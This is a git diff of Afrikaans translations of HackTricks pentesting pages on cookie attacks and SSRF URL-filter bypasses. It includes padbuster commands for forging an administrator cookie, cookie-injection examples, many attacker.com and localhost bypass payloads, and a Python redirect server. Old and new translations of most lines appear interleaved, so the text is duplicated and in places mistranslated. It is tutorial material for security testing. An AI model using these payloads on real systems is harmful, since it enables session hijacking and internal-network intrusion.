Klik op die vorige skakel om 'n bladsy te besoek wat moontlike foute in JWT verduidelik.
|
||||
|
||||
JSON Web Tokens (JWT) wat in koekies gebruik word, kan ook kwesbaarhede hê. Vir in-diepte inligting oor moontlike foute en hoe om dit uit te buit, word dit aanbeveel om die gekoppelde dokument oor die hak van JWT te raadpleeg.
|
||||
JSON Web Tokens (JWT) wat in koekies gebruik word, kan ook kwesbaarhede hê. Vir in-diepte inligting oor potensiële foute en hoe om dit te benut, word dit aanbeveel om die gekoppelde dokument oor die hak van JWT te raadpleeg.
|
||||
|
||||
### Kruiswebversoekvervalsing (CSRF)
|
||||
|
||||
Hierdie aanval dwing 'n ingetekende gebruiker om ongewenste aksies op 'n webtoepassing uit te voer waarop hulle tans geïdentifiseer is. Aanvallers kan koekies uitbuit wat outomaties met elke versoek na die kwesbare webwerf gestuur word.
|
||||
Hierdie aanval dwing 'n ingetekende gebruiker om ongewenste aksies op 'n webtoepassing uit te voer waarop hulle tans geïdentifiseer is. Aanvallers kan koekies benut wat outomaties met elke versoek na die kwesbare webwerf gestuur word.
|
||||
|
||||
### Leë Koekies
|
||||
|
||||
(Kyk na verdere besonderhede in die [oorspronklike navorsing](https://blog.ankursundara.com/cookie-bugs/))
|
||||
Webblaaier laat die skepping van koekies sonder 'n naam toe, wat deur JavaScript gedemonstreer kan word as volg:
|
||||
(Kyk na verdere besonderhede in die [oorspronklike navorsing](https://blog.ankursundara.com/cookie-bugs/)) Webblaaier staan die skepping van koekies sonder 'n naam toe, wat deur JavaScript gedemonstreer kan word soos volg:
|
||||
```js
|
||||
document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
document.cookie = "b=v2"
|
||||
```
|
||||
Die resultaat in die gestuurde koekie-kop is `a=v1; toetswaarde; b=v2;`. Verbasend genoeg maak dit die manipulasie van koekies moontlik as 'n leë naam koekie ingestel word, wat potensieel die beheer van ander koekies moontlik maak deur die leë koekie na 'n spesifieke waarde te stel:
|
||||
Die resultaat in die gestuurde koekie-kop is `a=v1; toetswaarde; b=v2;`. Interessant genoeg maak dit die manipulasie van koekies moontlik as 'n leë naam koekie ingestel word, moontlik om ander koekies te beheer deur die leë koekie na 'n spesifieke waarde te stel:
|
||||
```js
|
||||
function setCookie(name, value) {
|
||||
document.cookie = `${name}=${value}`;
|
||||
|
@ -126,56 +156,53 @@ document.cookie = `${name}=${value}`;
|
|||
|
||||
setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's value
|
||||
```
|
||||
Dit lei daartoe dat die blaaier 'n koekie-kop stuur wat deur elke webbediener geïnterpreteer word as 'n koekie met die naam `a` en 'n waarde `b`.
|
||||
Dit lei daartoe dat die blaaier 'n koekie-heer stuur wat deur elke webbediener geïnterpreteer word as 'n koekie met die naam `a` met 'n waarde `b`.
|
||||
|
||||
#### Chrome-fout: Unicode-surrogaatkodepuntprobleem
|
||||
#### Chrome-fout: Unicode Surrogaatkodepuntprobleem
|
||||
|
||||
In Chrome, as 'n Unicode-surrogaatkodepunt deel is van 'n gestelde koekie, word `document.cookie` beskadig en gee dit daarna 'n leë string terug:
|
||||
In Chrome, as 'n Unicode-surrogaatkodepunt deel is van 'n stel koekie, word `document.cookie` beskadig, en gee dit daarna 'n leë string terug:
|
||||
```js
|
||||
document.cookie = "\ud800=meep";
|
||||
```
|
||||
Dit lei daartoe dat `document.cookie` 'n leë string uitvoer, wat dui op permanente korruptering.
|
||||
Dit lei daartoe dat `document.cookie` 'n leë string uitvoer, wat dui op permanente korrupsie.
|
||||
|
||||
#### Koekie Smuggling as gevolg van Parseringsprobleme
|
||||
#### Koekie Smokkeling as Gevolg van Parsingsprobleme
|
||||
|
||||
(Kyk na verdere besonderhede in die [oorspronklike navorsing](https://blog.ankursundara.com/cookie-bugs/))
|
||||
Verskeie webbedieners, insluitend dié van Java (Jetty, TomCat, Undertow) en Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), hanteer koekiestrengs verkeerd as gevolg van verouderde RFC2965-ondersteuning. Hulle lees 'n dubbel-aangehaalde koekiewaarde as 'n enkele waarde, selfs as dit puntkommas bevat, wat normaalweg sleutel-waardepare moet skei:
|
||||
(Kyk vir verdere besonderhede in die [oorspronklike navorsing](https://blog.ankursundara.com/cookie-bugs/)) Verskeie webbedieners, insluitend dié van Java (Jetty, TomCat, Undertow) en Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), hanteer koekiestrengs verkeerd as gevolg van verouderde RFC2965-ondersteuning. Hulle lees 'n dubbelgekwoteerde koekiewaarde as 'n enkele waarde selfs al sluit dit puntkommas in, wat normaalweg sleutel-waardepare sou moes skei:
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
#### Koekie-inspuitingskwesbaarhede
|
||||
|
||||
(Kyk vir verdere besonderhede in die [oorspronklike navorsing](https://blog.ankursundara.com/cookie-bugs/))
|
||||
Die verkeerde ontleding van koekies deur bedieners, veral Undertow, Zope, en dié wat Python se `http.cookie.SimpleCookie` en `http.cookie.BaseCookie` gebruik, skep geleenthede vir koekie-inspuitingsaanvalle. Hierdie bedieners slaag nie daarin om die begin van nuwe koekies behoorlik af te baken nie, wat aanvallers in staat stel om koekies te vervals:
|
||||
(Kyk vir verdere besonderhede in die[oorspronklike navorsing](https://blog.ankursundara.com/cookie-bugs/)) Die verkeerde ontleding van koekies deur bedieners, veral Undertow, Zope, en diegene wat Python se `http.cookie.SimpleCookie` en `http.cookie.BaseCookie` gebruik, skep geleenthede vir koekie-inspuitingsaanvalle. Hierdie bedieners slaag nie daarin om die begin van nuwe koekies behoorlik af te baken nie, wat aanvallers in staat stel om koekies te vervals:
|
||||
|
||||
- Undertow verwag 'n nuwe koekie onmiddellik na 'n aangehaalde waarde sonder 'n puntkomma.
|
||||
- Zope soek na 'n komma om die volgende koekie te ontleding.
|
||||
- Python se koekieklasse begin ontleding op 'n spasie karakter.
|
||||
* Undertow verwag 'n nuwe koekie onmiddellik na 'n aangehaalde waarde sonder 'n puntkomma.
|
||||
* Zope soek na 'n komma om die volgende koekie te begin ontleding.
|
||||
* Python se koekieklasses begin ontleding op 'n spasie karakter.
|
||||
|
||||
Hierdie kwesbaarheid is veral gevaarlik in webtoepassings wat staatmaak op koekie-gebaseerde CSRF-beskerming, aangesien dit aanvallers in staat stel om vervalste CSRF-token-koekies in te spuit, wat moontlik sekuriteitsmaatreëls kan omseil. Die probleem word vererger deur Python se hantering van duplikaat koekienommers, waar die laaste voorkoms voriges oorskryf. Dit wek ook kommer oor `__Secure-` en `__Host-` koekies in onveilige kontekste en kan lei tot omseiling van magtiging wanneer koekies aan agterste bedieners wat vatbaar is vir vervalsing, oorgedra word.
|
||||
Hierdie kwesbaarheid is veral gevaarlik in webtoepassings wat staatmaak op koekie-gebaseerde CSRF-beskerming, aangesien dit aanvallers in staat stel om vervalste CSRF-token-koekies in te spuit, wat moontlik sekuriteitsmaatreëls kan omseil. Die probleem word vererger deur Python se hantering van duplikaat koekienommers, waar die laaste voorkoms vroeëre een oorskryf. Dit wek ook kommer oor `__Secure-` en `__Host-` koekies in onveilige kontekste en kan lei tot outorisasie-omleidings wanneer koekies aan agterste bedieners oorgedra word wat vatbaar is vir vervalsing.
|
||||
|
||||
|
||||
### Ekstra kwesbare koekiekontroles
|
||||
### Ekstra Kwesbare Koekie Kontroles
|
||||
|
||||
#### **Basiese kontroles**
|
||||
|
||||
* Die **koekie** is elke keer dieselfde wanneer jy **aanteken**.
|
||||
* Teken uit en probeer om dieselfde koekie te gebruik.
|
||||
* Probeer om met 2 toestelle (of webblaaier) na dieselfde rekening te teken met dieselfde koekie.
|
||||
* Kyk of die koekie enige inligting bevat en probeer om dit te wysig.
|
||||
* Probeer om verskeie rekeninge te skep met byna dieselfde gebruikersnaam en kyk of jy ooreenkomste kan sien.
|
||||
* Kyk of die "**onthou my**" opsie, indien dit bestaan, om te sien hoe dit werk. As dit bestaan en kwesbaar kan wees, gebruik altyd die koekie van **onthou my** sonder enige ander koekie.
|
||||
* Kyk of die vorige koekie steeds werk nadat jy die wagwoord verander het.
|
||||
* Die **koekie** is elke keer dieselfde wanneer jy **aanmeld**.
|
||||
* Meld af en probeer dieselfde koekie gebruik.
|
||||
* Probeer om met 2 toestelle (of blaaier) na dieselfde rekening aan te meld met dieselfde koekie.
|
||||
* Kontroleer of die koekie enige inligting bevat en probeer om dit te wysig.
|
||||
* Probeer om verskeie rekeninge met byna dieselfde gebruikersnaam te skep en kyk of jy ooreenkomste kan sien.
|
||||
* Kontroleer die "**onthou my**" opsie as dit bestaan om te sien hoe dit werk. As dit bestaan en kwesbaar kan wees, gebruik altyd die koekie van **onthou my** sonder enige ander koekie.
|
||||
* Kontroleer of die vorige koekie selfs werk nadat jy die wagwoord verander het.
|
||||
|
||||
#### **Gevorderde koekie-aanvalle**
|
||||
|
||||
As die koekie dieselfde bly (of byna dieselfde) wanneer jy aanteken, beteken dit waarskynlik dat die koekie verband hou met 'n veld van jou rekening (waarskynlik die gebruikersnaam). Dan kan jy:
|
||||
As die koekie dieselfde bly (of amper) wanneer jy aanmeld, beteken dit waarskynlik dat die koekie verband hou met 'n veld van jou rekening (waarskynlik die gebruikersnaam). Dan kan jy:
|
||||
|
||||
* Probeer om baie **rekeninge** met baie **soortgelyke** gebruikersname te skep en probeer raai hoe die algoritme werk.
|
||||
* Probeer om die gebruikersnaam **bruteforce**. As die koekie slegs as 'n verifikasiemetode vir jou gebruikersnaam stoor, kan jy 'n rekening skep met die gebruikersnaam "**Bmin**" en elke enkele **bit** van jou koekie bruteforce omdat een van die koekies wat jy sal probeer, die een sal wees wat aan "**admin**" behoort.
|
||||
* Probeer **Padding Oracle** (jy kan die inhoud van die koekie ontsluit). Gebruik **padbuster**.
|
||||
* Probeer om baie **rekeninge** met baie **soortgelyke** gebruikersname te skep en probeer om te **raai** hoe die algoritme werk.
|
||||
* Probeer om die gebruikersnaam te **bruteforce**. As die koekie slegs as 'n verifikasiemetode vir jou gebruikersnaam stoor, kan jy 'n rekening met die gebruikersnaam "**Bmin**" skep en elke enkele **bit** van jou koekie **bruteforce** omdat een van die koekies wat jy sal probeer, die een behoort aan "**admin**".
|
||||
* Probeer **Padding** **Oracle** (jy kan die inhoud van die koekie ontsluit). Gebruik **padbuster**.
|
||||
|
||||
**Padding Oracle - Padbuster-voorbeelde**
|
||||
**Padding Oracle - Padbuster voorbeelde**
|
||||
```bash
|
||||
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
|
||||
# When cookies and regular Base64
|
||||
|
@ -187,59 +214,52 @@ padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28E
|
|||
```
|
||||
Padbuster sal verskeie pogings doen en sal jou vra watter toestand die fouttoestand is (die een wat nie geldig is nie).
|
||||
|
||||
Dan sal dit begin om die koekie te ontsluit (dit kan verskeie minute neem)
|
||||
Dan sal dit begin om die koekie te dekodeer (dit kan verskeie minute neem)
|
||||
|
||||
As die aanval suksesvol uitgevoer is, kan jy probeer om 'n string van jou keuse te versleutel. Byvoorbeeld, as jy **user=administrator** wil **versleutel**.
|
||||
As die aanval suksesvol uitgevoer is, kan jy probeer om 'n string van jou keuse te enkripteer. Byvoorbeeld, as jy **user=administrator** sou **wil enkripteer**.
|
||||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
Hierdie uitvoering sal jou die koekie korrek versleutel en gekodeer gee met die string **user=administrator** binne-in.
|
||||
Hierdie uitvoering sal jou die koekie korrek versleutel en enkodeer met die string **user=administrator** binne-in.
|
||||
|
||||
**CBC-MAC**
|
||||
|
||||
Dalk kan 'n koekie 'n waarde hê en onderteken word met behulp van CBC. Dan is die integriteit van die waarde die handtekening wat geskep word deur CBC met dieselfde waarde te gebruik. Aangesien dit aanbeveel word om 'n nulvektor as IV te gebruik, kan hierdie tipe integriteitskontrole kwesbaar wees.
|
||||
Dalk kan 'n koekie 'n waarde hê en onderteken word met CBC. Dan is die integriteit van die waarde die handtekening wat geskep word deur CBC te gebruik met dieselfde waarde. Aangesien dit aanbeveel word om 'n nul vektor as IV te gebruik, kan hierdie tipe integriteitskontrole kwesbaar wees.
|
||||
|
||||
**Die aanval**
|
||||
|
||||
1. Kry die handtekening van gebruikersnaam **administ** = **t**
|
||||
2. Kry die handtekening van gebruikersnaam **rator\x00\x00\x00 XOR t** = **t'**
|
||||
3. Stel in die koekie die waarde **administrator+t'** in (**t'** sal 'n geldige handtekening wees van **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
|
||||
3. Stel in die koekie die waarde **administrator+t'** (**t'** sal 'n geldige handtekening wees van **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
|
||||
|
||||
**ECB**
|
||||
|
||||
As die koekie versleutel word met behulp van ECB, kan dit kwesbaar wees.\
|
||||
Wanneer jy inteken, moet die koekie wat jy ontvang altyd dieselfde wees.
|
||||
As die koekie versleutel word met ECB kan dit kwesbaar wees.\
|
||||
Wanneer jy inlog, moet die koekie wat jy ontvang altyd dieselfde wees.
|
||||
|
||||
**Hoe om op te spoor en aan te val:**
|
||||
**Hoe om te ontdek en aan te val:**
|
||||
|
||||
Skep 2 gebruikers met byna dieselfde data (gebruikersnaam, wagwoord, e-pos, ens.) en probeer om 'n patroon binne die gegee koekie te ontdek.
|
||||
Skep 2 gebruikers met byna dieselfde data (gebruikersnaam, wagwoord, e-pos, ens.) en probeer om 'n patroon binne-in die gegee koekie te ontdek
|
||||
|
||||
Skep 'n gebruiker genaamd byvoorbeeld "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" en kyk of daar enige patroon in die koekie is (aangesien ECB met dieselfde sleutel elke blok versleutel, kan dieselfde versleutelde bytes voorkom as die gebruikersnaam versleutel word).
|
||||
|
||||
Daar behoort 'n patroon te wees (met die grootte van 'n gebruikte blok). So, deur te weet hoe 'n klomp "a" versleutel is, kan jy 'n gebruikersnaam skep: "a"\*(grootte van die blok)+"admin". Dan kan jy die versleutelde patroon van 'n blok "a" uit die koekie verwyder. En jy sal die koekie van die gebruikersnaam "admin" hê.
|
||||
Daar behoort 'n patroon te wees (met die grootte van 'n gebruikte blok). Dus, deur te weet hoe 'n klomp "a" versleutel is, kan jy 'n gebruikersnaam skep: "a"\*(grootte van die blok)+"admin". Dan kan jy die versleutelde patroon van 'n blok "a" uit die koekie verwyder. En jy sal die koekie van die gebruikersnaam "admin" hê.
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
* [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regmaak. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegniese stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# URL-formaat omseil
|
||||
# URL-formaat omseiling
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,22 +6,14 @@
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
### Localhost
|
||||
```bash
|
||||
# Localhost
|
||||
|
@ -91,9 +83,11 @@ http://bugbounty.dod.network = 127.0.0.2 (localhost)
|
|||
1ynrnhl.xip.io == 169.254.169.254
|
||||
spoofed.burpcollaborator.net = 127.0.0.1
|
||||
```
|
||||
Die **Burp-uitbreiding** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementeer IP-formaat omseilings.
|
||||
![](<../../.gitbook/assets/image (649) (1) (1).png>)
|
||||
|
||||
### Domein Parser
|
||||
Die **Burp-uitbreiding** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementeer IP-formaat omseiling.
|
||||
|
||||
### Domeinontleder
|
||||
```bash
|
||||
https:attacker.com
|
||||
https:/attacker.com
|
||||
|
@ -123,18 +117,6 @@ attacker。com
|
|||
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
|
||||
```
|
||||
### Domeinverwarring
|
||||
|
||||
Domain Confusion is a technique used in Server-Side Request Forgery (SSRF) attacks to bypass URL-based filters and restrictions. It involves manipulating the URL format to confuse the server and trick it into making unintended requests.
|
||||
|
||||
Domeinverwarring is 'n tegniek wat gebruik word in Server-Side Request Forgery (SSRF) aanvalle om URL-gebaseerde filters en beperkings te omseil. Dit behels die manipulering van die URL-formaat om die bediener te verwar en hom te laat dink dat onbedoelde versoekings gemaak moet word.
|
||||
|
||||
The basic idea behind Domain Confusion is to use different representations of the same domain name to bypass filters that only check for exact matches. For example, instead of using the traditional ASCII representation of a domain name, an attacker can use a different representation such as Punycode or Unicode. This can help bypass filters that are not aware of these alternative representations.
|
||||
|
||||
Die basiese idee agter Domeinverwarring is om verskillende voorstellings van dieselfde domeinnaam te gebruik om filters te omseil wat slegs vir presiese ooreenkomste kyk. Byvoorbeeld, in plaas daarvan om die tradisionele ASCII-voorstelling van 'n domeinnaam te gebruik, kan 'n aanvaller 'n ander voorstelling soos Punycode of Unicode gebruik. Dit kan help om filters te omseil wat nie bewus is van hierdie alternatiewe voorstellings nie.
|
||||
|
||||
By exploiting Domain Confusion, an attacker can make requests to internal resources or other restricted domains that are not directly accessible from the internet. This can lead to unauthorized access, data leakage, or further exploitation of vulnerable systems.
|
||||
|
||||
Deur gebruik te maak van Domeinverwarring kan 'n aanvaller versoekings maak na interne hulpbronne of ander beperkte domeine wat nie direk toeganklik is vanaf die internet nie. Dit kan lei tot ongemagtigde toegang, datalekke, of verdere uitbuiting van kwesbare stelsels.
|
||||
```bash
|
||||
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
|
||||
# Try replacing https by http
|
||||
|
@ -169,9 +151,9 @@ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
|
|||
#Parameter pollution
|
||||
next={domain}&next=attacker.com
|
||||
```
|
||||
### Paaie en Uitbreidings Bypass
|
||||
### Paaie en Uitbreidings Omgang
|
||||
|
||||
As jy vereis word dat die URL moet eindig in 'n pad of 'n uitbreiding, of 'n pad moet bevat, kan jy een van die volgende omseilings probeer:
|
||||
Indien daar vereis word dat die URL moet eindig in 'n pad of 'n uitbreiding, of 'n pad moet bevat, kan jy een van die volgende omseilings probeer:
|
||||
```
|
||||
https://metadata/vulerable/path#/expected/path
|
||||
https://metadata/vulerable/path#.extension
|
||||
|
@ -179,13 +161,13 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
|||
```
|
||||
### Fuzzing
|
||||
|
||||
Die instrument [**recollapse**](https://github.com/0xacb/recollapse) kan variasies genereer van 'n gegewe inset om te probeer om die gebruikte regex te omseil. Kyk ook na [**hierdie pos**](https://0xacb.com/2022/11/21/recollapse/) vir meer inligting.
|
||||
Die gereedskap [**recollapse**](https://github.com/0xacb/recollapse) kan variasies genereer vanaf 'n gegewe inset om te probeer om die gebruikte regex te omseil. Kyk ook na [**hierdie pos**](https://0xacb.com/2022/11/21/recollapse/) vir meer inligting.
|
||||
|
||||
### Omseiling deur middel van herlei
|
||||
### Omseiling via aanstuur
|
||||
|
||||
Dit mag moontlik wees dat die bediener die oorspronklike versoek van 'n SSRF **filter**, maar nie 'n moontlike **herlei**-reaksie na daardie versoek nie.\
|
||||
Byvoorbeeld, 'n bediener wat vatbaar is vir SSRF via: `url=https://www.google.com/` mag die url-param **filter**. Maar as jy 'n [python bediener gebruik om te reageer met 'n 302](https://pastebin.com/raw/ywAUhFrv) na die plek waar jy wil herlei, mag jy dalk toegang hê tot gefilterde IP-adresse soos 127.0.0.1 of selfs gefilterde **protokolle** soos gopher.\
|
||||
[Kyk na hierdie verslag.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
Dit mag moontlik wees dat die bediener die oorspronklike versoek van 'n SSRF **filter**, maar nie 'n moontlike **aanstuur**-antwoord op daardie versoek nie.\
|
||||
Byvoorbeeld, 'n bediener wat vatbaar is vir SSRF via: `url=https://www.google.com/` mag die url-param **filter**. Maar as jy 'n [python bediener gebruik om te antwoord met 'n 302](https://pastebin.com/raw/ywAUhFrv) na die plek waar jy wil aanstuur, mag jy dalk **toegang kry tot gefiltreerde IP-adresse** soos 127.0.0.1 of selfs gefiltreerde **protokolle** soos gopher.\
|
||||
[Bekyk hierdie verslag.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
||||
|
@ -208,40 +190,33 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
|||
```
|
||||
## Verduidelikte Truuks
|
||||
|
||||
### Backslash-truuk
|
||||
### Swartkant-truuk
|
||||
|
||||
Die *backslash-truuk* maak gebruik van 'n verskil tussen die [WHATWG URL-standaard](https://url.spec.whatwg.org/#url-parsing) en [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Terwyl RFC3986 'n algemene raamwerk vir URI's is, is WHATWG spesifiek vir web-URL's en word dit deur moderne webblaaier aangeneem. Die sleutelonderskeid lê in die erkenning van die backslash (`\`) as ekwivalent aan die vorentoe-slag (`/`) in die WHATWG-standaard, wat 'n impak het op hoe URL's gepars word, veral die oorgang van die gasheernaam na die pad in 'n URL.
|
||||
Die _backslash-truuk_ maak gebruik van 'n verskil tussen die [WHATWG URL-standaard](https://url.spec.whatwg.org/#url-parsing) en [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Terwyl RFC3986 'n algemene raamwerk vir URI's is, is WHATWG spesifiek vir web-URL's en word dit deur moderne webblaaier aangeneem. Die sleutelonderskeid lê in die erkenning van die backslash (`\`) as ekwivalent aan die voorwaartse streep (`/`) in die WHATWG-standaard, wat 'n impak het op hoe URL's gepars word, spesifiek die oorgang van die gasheernaam na die pad in 'n URL.
|
||||
|
||||
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
||||
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
||||
|
||||
### Ander Verwarrings
|
||||
### Ander Verwarring
|
||||
|
||||
![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../.gitbook/assets/image (629).png>)
|
||||
|
||||
beeld van [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
|
||||
|
||||
Beeld van [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
